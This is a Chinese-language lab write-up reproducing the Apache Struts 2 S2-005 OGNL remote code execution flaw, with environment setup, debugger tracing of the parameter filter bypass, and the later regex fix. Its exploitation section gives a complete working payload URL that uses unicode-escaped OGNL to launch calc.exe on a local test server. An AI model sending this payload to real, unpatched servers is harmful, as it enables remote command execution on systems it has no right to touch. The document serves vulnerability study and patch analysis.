S2-005复现分析
一、漏洞信息
漏洞信息页面:
S2-005 - Apache Struts 2 Wiki - Apache Software Foundation
漏洞编号:
漏洞类型:
RCE(远程代码执行)
受影响组件:
Struts 2.0.0 - Struts 2.1.8.1
漏洞成因:
XWork使用OGNL表达式将GET参数的键和值解析为Java语句
user.address.city=Bishkek&user['favoriteDrink']=kumys
//It will be converted to
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
二、环境搭建
IDE:Eclipse IDE for Enterprise Java and Web Developers
Java:JDK1.8
Tomcat:8.5.14
Struts:2.1.8.1(https://github.com/vulhub/vulhub/struts/s2-005)
三、漏洞利用
执行命令,弹计算器payload
http://127.0.0.1:8080/S2-005/example/HelloWorld.action?
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true&(aaaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023vccc')(\u0023vccc\u003dnew java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("calc.exe".split("@"))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
\u0023 ==> #
\u003d ==> =
Ognl表达式解析参考:S2-005 远程代码执行漏洞检测与利用_Fly_鹏程万里-CSDN博客_s2-005
Payload中的攻击代码有两个形式,一种是(expression)(constant)=value
,一种是(constant)((expression1)(expression2))
。
Ognl解析引擎是这样处理的,每个括号对应语法树上的一个分支,并且从最右边的叶子节点开始解析执行。
总结:
(1)(expression)(constant)=value 会执行 expression=value。
(2)(constant)((expression1)(expression2)) 会先执行expression2,然后再执行expression1。
四、漏洞分析
找到params拦截器所在类,在doIntercept()函数中下断点。开始调试,web页面请求带有payload的url。
运行到setParameters,该函数根据请求参数设置action,步入函数。
调用setDenyMethodExecution向context中添加xwork.MethodAccessor.denyMethodExecution=true,禁止在参数中调用任意方法
在setParameters中调用acceptableName
在acceptableName中调用了两个方法对参数名进行过滤
isAccepted中会对paraName进行正则匹配,\p{Graph}
为匹配任何可见字符。不允许paraName带有,#:=
。由于只是简单的匹配这几个字符,导致可以通过编码绕过此处的过滤。
isExcluded
通过isAccepted验证后将参数及值存放在acceptableParameters
跟进到newStack.setValue,此处for循环遍历GET参数的键值对。
步入setValue函数,使用ognlUtil.setValue,步入函数。
ognlUtil.setValue中又调用了n.setValue,步入函数
跟进到evaluateSetValueBody,步入函数
跟进setValueBody
调用getvalue解析ognl表达式,并通过node.setValue将#_memberAccess['allowStaticMethodAccess']
赋值为true
五、漏洞修复
新版本将isAccepted函数中的正则匹配替换为了如下表达式,输入字符需要通过正则匹配。\#,;
等不包含其中的特殊字符将无法通过验证。
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";
参考链接
https://www.anquanke.com/post/id/254809
https://blog.csdn.net/Fly_hps/article/details/85000125